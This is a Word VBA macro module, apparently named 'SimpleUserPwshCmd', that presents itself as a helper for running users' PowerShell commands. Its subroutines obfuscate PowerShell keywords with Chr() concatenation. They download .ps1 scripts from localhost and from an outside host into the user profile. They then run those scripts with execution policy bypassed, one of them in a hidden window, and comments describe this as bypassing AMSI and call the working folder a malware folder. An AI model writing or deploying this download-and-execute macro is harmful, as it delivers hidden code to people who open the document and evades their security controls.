Attribute VB_Name = "Module1"

'**********************************************************
'* SimpleUserPwshCmd.bas Word VBA Module
'* This Module Contains User Subroutines for
'* Making and Running Users' Powershell Commands and Files
'**********************************************************

'**********************************************************
'* GetUserPrifileEnv Word VBA Function
'* This Function will Return a UserProfile Directory
'
' PARAMETERS:   NONE
' RETURNS:      Path for UserProfile Directory if Exists or
'               Path for User Variable %TEMP% if Success or
'               "C:\Windows\Temp" if API Error or
'                               "" if General Sysytem Error
'
'**********************************************************

Public Function GetUserProfileEnv()

        Dim fso, wsh, envProc, envSys
        Dim strZlFolder ' Zlovred Temprorary Folder
        ' Define ActiveX Objects
        Set fso = CreateObject("Scripting.FileSystemObject")
        Set wsh = CreateObject("WScript.Shell")
        ' Define Process Environment Variable
        Set envProc = wsh.Environment("PROCESS")
        ' Define System Environment Variable
        Set envSys = wsh.Environment
        ' Define UserProfile Folder
        strZlFolder = envProc("UserProfile")
        ' Define and Check Environment Variables
        Dim envVariable
        envVariable = strZlFolder
        If Not fso.FolderExists(envVariable) Then
                envVariable = envProc("TEMP")
                If Not fso.FolderExists(envVariable) Then
                        envVariable = envSys("TMP")
                        If Not fso.FolderExists(envVariable) Then
                                envVariable = ""
                        End If
                End If
        End If
    GetUserProfileEnv = envVariable
End Function

'**********************************************************
' * RunEchoFromSite001() VBA Subroutine
' * This Function will Download and Execute an Echo
' * WSF File from Local Server Bypassing AMSI
'
' * PoshExe = "C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe"
' * aCmdString = PoshExe & " -NoProfile -NoExit -ExecutionPolicy Bypass -Command " & Chr(34) & aCmd & Chr(34)
' ' aCmd = "IEX((New-Object System.Net.WebClient).DownloadString(" & "'" & aHostURL & "'))"
'**********************************************************

Public Sub RunEchoFromSite001()

    ' Declare Variables
    Dim aHostURL
    Dim aPref, aDomain, aRemoteDir
    Dim aCmd, aCmdString, PoshExe
    Dim RetVal

    aDir = GetUserProfileEnv()
    aFileName = "echo-server.utf8.wsf.ps1"
    
    aPref = "http"
    aDomain = "localhost"
    aPort = "80"
    aRemoteDir = "/PROGS/LIB-RUN/PS1/"
    aHostURL = aPref & "://" & aDomain & ":" & aPort & aRemoteDir & aFileName
    
    ' Define a PoshExe
    PoshExe = Chr(67) & Chr(58) & Chr(92) & "Windows\System32\WindowsPowerShell\v1.0\" & _
        Chr(112) & "ower" & "shell.exe"

    ' Create a Cmd String
    
    aCmd = Chr(73) & Chr(69) & Chr(88) & "((New" & Chr(45) & "Object " & _
        Chr(32) & "System" & Chr(46) & "Net" & Chr(46) & "WebClient)" & Chr(46) & _
        "Download" & "String(" & "'" & _
        aHostURL & "'))"
        
    ' MsgBox aCmd
  
    'Run a PowerShell Command
    aCmdString = PoshExe & Chr(32) & Chr(45) & "No" & Chr(80) & "rofile " & _
        Chr(45) & "No" & "Exit" & Chr(32) & Chr(45) & "Exe" & "cution" & _
        Chr(80) & "olicy" & Chr(32) & Chr(66) & "ypass"
        ' Chr(32) & Chr(45) & Chr(67) & "ommand " & _
        ' Chr(34) & aCmd & Chr(34)

    MsgBox aCmdString
                
    ' PS Execute at Shell Operand
    RetVal = Shell(aCmdString, vbNormalNoFocus)
        
End Sub


'**********************************************************
' * RunEchoFromFile001() VBA Subroutine
' * This Function will Download and Execute an Echo
' * WSF File from UserProfile Bypassing AMSI
'
' * PoshExe = "C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe"
' * aCmdString = PoshExe & " -NoProfile -NoExit -ExecutionPolicy Bypass -File " & Chr(34) & aCmd & Chr(34)
'**********************************************************

Public Sub RunEchoFromFile001()

    ' Declare Variables
    Dim aDir, aFileName, aFile, fso
    Dim PoshExe, aCmdString
    Dim RetVal

    aDir = GetUserProfileEnv()
    aFileName = "echo-server.utf8.wsf.ps1"
    aFile = aDir & "\" & aFileName

    ' Define a PoshExe Path
    PoshExe = Chr(67) & Chr(58) & Chr(92) & "Windows\System32\WindowsPowerShell\v1.0\" & _
        Chr(112) & "ower" & "shell.exe"

    ' Define a CmdString
    aCmdString = PoshExe & Chr(32) & Chr(45) & "No" & Chr(80) & "rofile " & _
        Chr(45) & "No" & "Exit" & Chr(32) & Chr(45) & "Exe" & "cution" & _
        Chr(80) & "olicy" & Chr(32) & Chr(66) & "ypass" & _
        Chr(32) & Chr(45) & Chr(70) & "ile " & _
        Chr(34) & aFile & Chr(34)
        
    ' MsgBox aCmdString
        

    ' Declare an Object
    Set fso = CreateObject("Scripting.FileSystemObject")

    ' Set and Check a Full Path Name
    If (fso.FileExists(aFile)) Then
        ' MsgBox "Success! File " & aFile & " is Present", vbOKOnly Or vbInformation, "System Information"
        RetVal = Shell(aCmdString, vbNormalNoFocus)
    Else
        MsgBox "Error! File " & aFile & " is not Found", vbOKOnly Or vbCritical, "System Error"
    End If
End Sub

'**********************************************************
' * DownloadEchoFromSite001() VBA Subroutine
' * This Function will Download and Execute an Echo
' * WSF File from Local Server Bypassing AMSI
'
' * PoshExe = "C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe"
' * aCmdString = PoshExe & " -NoProfile -NoExit -ExecutionPolicy Bypass -Command " & Chr(34) & aCmd & Chr(34)
' ' aCmd = "(New-Object System.Net.WebClient).DownloadFile(" & "'" & aHostURL & "','" & aFile & "')"
'**********************************************************

Public Sub DownloadEchoFromSite001()

    ' Declare Variables

    Const ADTYPEBINARY = 1
    Const ADSAVECREATEOVERWRITE = 2

    Dim xHttp
    Dim bStrm

    Dim aHostURL, aDir, aFile
    Dim aPref, aDomain, aRemoteDir
    Dim aCmd, aCmdString, PoshExe
    Dim gobjBinaryOutputStream


    aDir = GetUserProfileEnv()
    aFileName = "echo-server.utf8.wsf.ps1"
    aFile = aDir & "\" & aFileName
    
    aPref = "http"
    aDomain = "localhost"
    aPort = "80"
    aRemoteDir = "/PROGS/LIB-RUN/PS1/"
    aHostURL = aPref & "://" & aDomain & ":" & aPort & aRemoteDir & aFileName

    Set xHttp = CreateObject("Microsoft.XMLHTTP")
    xHttp.Open "GET", aHostURL, False
    xHttp.Send

    Set gobjBinaryOutputStream = CreateObject("Adodb.Stream")

    ' filename = "C:\Temp\" & DateDiff("s", #1/1/1970#, Now())

    gobjBinaryOutputStream.Type = ADTYPEBINARY
    gobjBinaryOutputStream.Open
    ' gobjBinaryOutputStream.write CreateObject("System.Text.ASCIIEncoding").GetBytes_4("M")
    ' gobjBinaryOutputStream.write CreateObject("System.Text.ASCIIEncoding").GetBytes_4("Z")
    gobjBinaryOutputStream.write xHttp.responseBody
    gobjBinaryOutputStream.savetofile aFile, ADSAVECREATEOVERWRITE
    
        
End Sub

'**********************************************************
' * RunEchoFromFile002() VBA Subroutine
' * This Function will Download and Execute an Echo
' * WSF File from UserProfile Bypassing AMSI
'
' * PoshExe = "C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe"
' * aCmdString = PoshExe & " -NoProfile -NoExit -ExecutionPolicy Bypass -File " & Chr(34) & aFile & Chr(34)
'**********************************************************

Public Sub RunFromFile002()

    ' Declare Variables
    Dim aDir, aFileName, aFile, fso
    Dim PoshExe, aCmdString
    Dim RetVal

    aDir = GetUserProfileEnv()
    aFileName = "NIT.Check-NITCondition-03.ps1"
    aFile = aDir & "\" & aFileName

    ' Define a PoshExe Path
    PoshExe = Chr(67) & Chr(58) & Chr(92) & "Windows\System32\WindowsPowerShell\v1.0\" & _
        Chr(112) & "ower" & "shell.exe"

    ' Define a CmdString
    aCmdString = PoshExe & Chr(32) & Chr(45) & "No" & Chr(80) & "rofile " & _
        Chr(45) & "Window" & Chr(32) & "Hidden" & Chr(32) & Chr(45) & "Exe" & "cution" & _
        Chr(80) & "olicy" & Chr(32) & Chr(66) & "ypass" & _
        Chr(32) & Chr(45) & Chr(70) & "ile " & _
        Chr(34) & aFile & Chr(34)
        
    ' MsgBox aCmdString
        

    ' Declare an Object
    Set fso = CreateObject("Scripting.FileSystemObject")

    ' Set and Check a Full Path Name
    If (fso.FileExists(aFile)) Then
        ' MsgBox "Success! File " & aFile & " is Present", vbOKOnly Or vbInformation, "System Information"
        RetVal = Shell(aCmdString, vbHidden)
    Else
        MsgBox "Error! File " & aFile & " is not Found", vbOKOnly Or vbCritical, "System Error"
    End If
End Sub

'**********************************************************
' * DownloadEchoFromSite002() VBA Subroutine
' * This Function will Download and Execute an Echo
' * WSF File from Local Server Bypassing AMSI
'
' * PoshExe = "C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe"
' * aCmdString = PoshExe & " -NoProfile -NoExit -ExecutionPolicy Bypass -Command " & Chr(34) & aCmd & Chr(34)
' ' aCmd = "(New-Object System.Net.WebClient).DownloadFile(" & "'" & aHostURL & "','" & aFile & "')"
'**********************************************************

Public Sub DownloadFromSite002()

    ' Declare Variables

    Const ADTYPEBINARY = 1
    Const ADSAVECREATEOVERWRITE = 2

    Dim xHttp
    Dim bStrm

    Dim aHostURL, aDir, aFile
    Dim aPref, aDomain, aRemoteDir
    Dim aCmd, aCmdString, PoshExe
    Dim gobjBinaryOutputStream


    aDir = GetUserProfileEnv()
    aFileName = "NIT.Check-NITCondition-03.ps1"
    aFile = aDir & "\" & aFileName
    
    aPref = "http"
    aDomain = "file.netip4.ru"
    aPort = "80"
    aRemoteDir = "/PROGS/NIT/CheckNITCondition/"
    aHostURL = aPref & "://" & aDomain & ":" & aPort & aRemoteDir & aFileName

    Set xHttp = CreateObject("Microsoft.XMLHTTP")
    xHttp.Open "GET", aHostURL, False
    xHttp.Send

    Set gobjBinaryOutputStream = CreateObject("Adodb.Stream")

    ' filename = "C:\Temp\" & DateDiff("s", #1/1/1970#, Now())

    gobjBinaryOutputStream.Type = ADTYPEBINARY
    gobjBinaryOutputStream.Open
    ' gobjBinaryOutputStream.write CreateObject("System.Text.ASCIIEncoding").GetBytes_4("M")
    ' gobjBinaryOutputStream.write CreateObject("System.Text.ASCIIEncoding").GetBytes_4("Z")
    gobjBinaryOutputStream.write xHttp.responseBody
    gobjBinaryOutputStream.savetofile aFile, ADSAVECREATEOVERWRITE
    
        
End Sub